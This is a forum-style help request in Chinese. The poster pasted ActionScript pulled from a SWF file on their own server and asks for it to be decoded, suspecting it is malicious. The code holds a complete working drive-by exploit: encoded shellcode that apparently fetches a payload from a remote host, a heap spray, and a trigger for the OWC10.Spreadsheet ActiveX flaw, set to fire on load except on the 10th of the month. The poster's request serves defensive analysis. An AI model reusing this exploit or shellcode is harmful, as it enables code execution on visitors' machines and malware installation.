请解密这段代码，谢谢！

var myma = "try{var b;var mz=new ActiveXObject(\'OWC10.Spreadsheet\');}catch(b){};finally{if(b!=\'[object Error]\'){var sc00=\'%u10EB%u4B5B%uC933%uFBB1%u04B5%u3480%uF40B%uFAE2%u05EB%uEBE8%uFFFF%u1DFF%uF0AE%uF4F4%u90AB%uC455\';var sc01=\'%uF4F4%u7FF4%uF8B4%u847F%u59E8%u9C7F%u7FFC%u9E03%uADFB%u0E1C%uF4F7%u16F4%u9E0D%u9C98%u809A%u9890\';var sc02=\'%u0BA0%u7FE2%u1C1C%uF713%uF4F4%uC79C%uF4C6%u9CF4%u87A1%u8691%u0BA0%u7FE2%u1C1C%uF727%uF4F4%u9B9C\';var sc03=\'%uF49A%u9CF4%u8681%u9998%u0BA0%u7FE2%u1C1C%uF74B%uF4F4%u989C%uC6C7%u9CF4%u9C87%u9891%u0BA0%u7FE2\';var sc04=\'%u1C1C%uF75F%uF4F4%u869C%uF480%u9CF4%u8799%u9782%u0BA0%u7FE2%u9E1C%uADF1%u601C%uF4F7%u16F4%u750D\';var sc05=\'%uF418%uF4F5%u7FF4%u7528%u7437%uF4F4%uC7F4%u7D34%u7DF7%uF0B7%uB77D%u33FC%uF8B7%uF4F5%uF4F4%uB733\';var sc06=\'%uFFE4%uF4F4%u33F4%uE0B7%uF499%uF4F4%uB77D%u7DEC%uE8B7%uB77D%uA7D4%uA20B%u77A8%uF030%u9EA4%u0BF4\';var sc07=\'%uACA2%u3077%uADF0%u35CF%u7BFB%uF62C%uF4F4%uF49E%uEE9E%u9EA7%u0BF4%uBCA2%u34C7%u74B4%uF7C8%u81F4\';var sc08=\'%u7D0D%uD477%uF4F5%u33F4%uF7F0%u95A8%u91DA%uB033%uF0F7%u918C%uF4F4%u34C7%uA4A4%uA3A7%u0BA4%uB0A2\';var sc09=\'%u0C77%uFBF4%u6971%uF4F6%u9EF4%u9EF4%u9EF4%u9EF7%u9EF4%u9CF6%uF4F4%u34F4%u0BA7%uF8A2%u0C77%uFB0B\';var sc0a=\'%u7570%uF4F6%u7DF4%uD077%uF4F5%u7FF4%uD477%uF4F5%u33F4%uF7F0%u96A8%u91DA%uB033%uF0F7%u918C%uF4F4\';var sc0b=\'%uF49E%uF49E%uF69E%uF49E%uF49E%uF49C%uF4F4%uA7B4%uA20B%u77F8%u0B0C%u70FB%uF6BE%uF4F4%u777D%uF5DC\';var sc0c=\'%uF4F4%u7733%uF5D8%uF4F4%uF4F4%uF4F4%u7733%uF5C4%uF4F4%uF4F4%uF4F4%u1875%uF0F4%uF4F4%u087F%uF49E\';var sc0d=\'%u7779%uF5D8%uF4F4%u9CA4%uF0F4%uF4F4%u0BA3%uD047%uF4F5%u0BF4%uE4A2%u0C77%uFBF4%uF370%uF4F6%u7FF4\';var sc0e=\'%uD877%uF4F5%u77F4%uF40C%uD080%uF49E%u7779%uF5C4%uF4F4%u0BA4%uD847%uF4F5%uA3F4%u470B%uF5DC%uF4F4\';var sc0f=\'%uA20B%u77E0%uF40C%u70FB%uF52E%uF4F4%u441F%u470B%uF5D0%uF4F4%uA20B%u0BEC%uDC47%uF4F5%u0BF4%uECA2\';var sc10=\'%u777F%uF5D4%uF4F4%uF033%uA8F7%uDA95%u3391%uF7B0%u8CF0%uF491%uA7F4%uA20B%u7FE8%uD477%uF4F5%u33F4\';var sc11=\'%uF7F0%u96A8%u91DA%uB033%uF0F7%u918C%uF4F4%uF49C%uF4F5%uA3F4%u0B9E%u9EA7%u9EF4%u0BF4%uD4A2%uF49C\';var sc12=\'%uF6F4%u0BF4%uB8A2%u3077%u77F0%uF40C%u70FB%uF580%uF4F4%u2C7F%uF49E%uF49C%uF6F4%uA7F4%uF19E%uA20B\';var sc13=\'%u77C8%uF40C%u71FB%uF5A8%uF4F4%u1875%uF5F4%uF4F4%u207F%u3392%u91F6%u92F4%uB633%u8CF6%u92F4%uB633\';var sc14=\'%u84F0%u92F4%uB633%u98F2%u92F4%uB633%u9BFC%u92F4%uB633%u86FE%u92F4%uB633%u91F8%u92F4%uB633%u86FA\';var sc15=\'%u92F4%uB633%uDAE4%u92F4%uB633%u91E6%u92F4%uB633%u8CE0%u92F4%uB633%u91E2%u92F4%uB633%uF4EC%u77F4\';var sc16=\'%uF4CF%u70FB%uF40A%uF4F4%uBF79%u92CC%uCD77%u81EC%u9EEE%u79F8%uD0B0%uA4F0%u850B%u0BF0%uA0A2%u3077\';var sc17=\'%u77F8%uF40C%uF181%uB77F%u1FB0%uF7F0%u1FEF%u7524%uF430%uF4F5%uA4F4%uF49E%u0B9C%uEBFB%u0BF4%uD8A2\';var sc18=\'%u0C77%uFBF4%u4970%uF4F4%u7FF4%u9E2C%u9CB4%uE4F4%uF4F4%uF49C%uF4E4%u9EF4%uA4F4%uA20B%u77C0%uF40C\';var sc19=\'%u70FB%uF454%uF4F4%u1C7F%uBE1F%uC7AC%uB53D%uC875%u64FC%u6464%u8164%uA502%uF49E%uA4A5%uA7A1%uA20B\';var sc1a=\'%uC7CC%u773D%uF635%u7792%uFBC8%u81F4%u7702%uF635%u9EAC%uA5F4%u79A3%uF1B0%uA4F4%u0BA7%uCCA2%uF49E\';var sc1b=\'%uF49E%u820B%uA1FC%uF49E%uF49E%u0BA7%uC4A2%u0BA7%uECA2%uA61F%u451C%u0B0B%u7F0B%uD0B0%uA7F0%u2C7F\';var sc1c=\'%uCF1F%uC7AE%u7534%uF418%uF4F5%u7FF4%u3338%uF5F0%uF4F4%uF4F4%u3477%uC9F0%uF5F4%uF4F4%u1B88%u387F\';var sc1d=\'%u34C7%uA5A4%u3577%uA5E4%uA4A4%uA4A4%uA4A4%uA4A6%u0BA4%u7527%uF430%uF4F5%uAFF4%uF036%u1CF4%u0B34\';var sc1e=\'%u0B0B%u6464%u6464%uCD1C%uF4F4%u7FF4%uA10B%u187F%uF49E%u0B4C%u0B0B%u0B0B%u6424%u9C64%u8297%uF483\';var sc1f=\'%u879C%u909C%uA09B%uE20B%u7F90%uF0F9%uF4F4%uCAF4%u5579%u0B94%u0B0B%u919E%u0BA4%uF0A2%u2FC7%uA7A7\';var sc20=\'%uA7A7%u240B%uA4AF%uF079%uA4D0%uB49E%uF49C%uF4E4%u0BF4%uB482%uA20B%uACD0%u7FA2%uB48A%u077F%uE44D\';var sc21=\'%uF4F4%u07F4%uAA50%uB27F%u7FDC%uB4BA%uB57D%u1FFC%uA55E%u7FA2%uC881%u807F%u8CDA%u01F7%u7FA2%uD482\';var sc22=\'%u01F7%u3DC7%uB5BD%uF759%uC731%uFB2F%uE44A%u22CE%uFC80%u3F35%uF7F9%uB42E%u051F%uEBCF%u1381%u7FAA\';var sc23=\'%uD0AA%u29F7%u7F92%uBFF8%uAA7F%uF7E8%u7F29%u7FF0%u31F7%uAA5F%u37AD%u551C%u0B0F%u7A0B%uFABA%u5E18\';var sc24=\'%uF908%u7C88%uB90E%u512F%uF4E3%uE288%u0E91%uEBE4%uFE8D%u0F1C%u0963%uD1FB%u0B44%u1036%uBE30%uEF1B\';var sc25=\'%uB232%u8A8D%u162C%u3487%u1663%u291B%u4968%u6886%uEE61%u559A%uC99E%u162C%u953E%uA312%u4154%uC24F\';var sc26=\'%uDBEE%uE684%u3FF6%u6EE1%u8ADF%u11AF%uDCE8%uBE3B%u0FFC%u5141%u9CEE%u281F%u9A3E%u9C9F%u8080%uCE84\';var sc27=\'%udbdb%u9890%u85da%u9b82%u9690%u969b%uda9b%u9b97%udb99%u8285%u909b%uc5db%udac7%u8c91%uf491%uf4f4\';var sc=sc00+sc01+sc02+sc03+sc04+sc05+sc06+sc07+sc08+sc09+sc0a+sc0b+sc0c+sc0d+sc0e+sc0f+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc1a+sc1b+sc1c+sc1d+sc1e+sc1f+sc20+sc21+sc22+sc23+sc24+sc25+sc26+sc27;var c = unescape(sc);function prod(){   try{obj.msDataSourceObject(e[3]);} catch(e) {}}var array = new Array();var ls = 0x81000-(c.length*2);var b = unescape(\'%u0b0c%u0b0C\');while(b.length<ls/2){b+=b;}var lh = b.substring(0,ls/2);delete b;for(i=0;i<0x99*2;i++) { array[i] = lh + lh + c;}CollectGarbage();var obj = new ActiveXObject(\'OWC10.Spreadsheet\');e=new Array();e.push(1);e.push(2);e.push(0);e.push(window);for(i=0;i<e.length;i++){for(j=0;j<10;j++){try{obj.Evaluate(e[i]);}catch(e){}}}window.status=e[3] +\'\';for(j=0;j<10;j++){prod(); }}}";
var shijian = new Date();
var ri = shijian.getDate();
if (ri != 10)
{
    flash.external.ExternalInterface.call("(function(){" + myma + "})()");
} // end if
这个我是在我服务器一个swf文件动作中提取的代码，估计是恶意代码，希望解码一下谢谢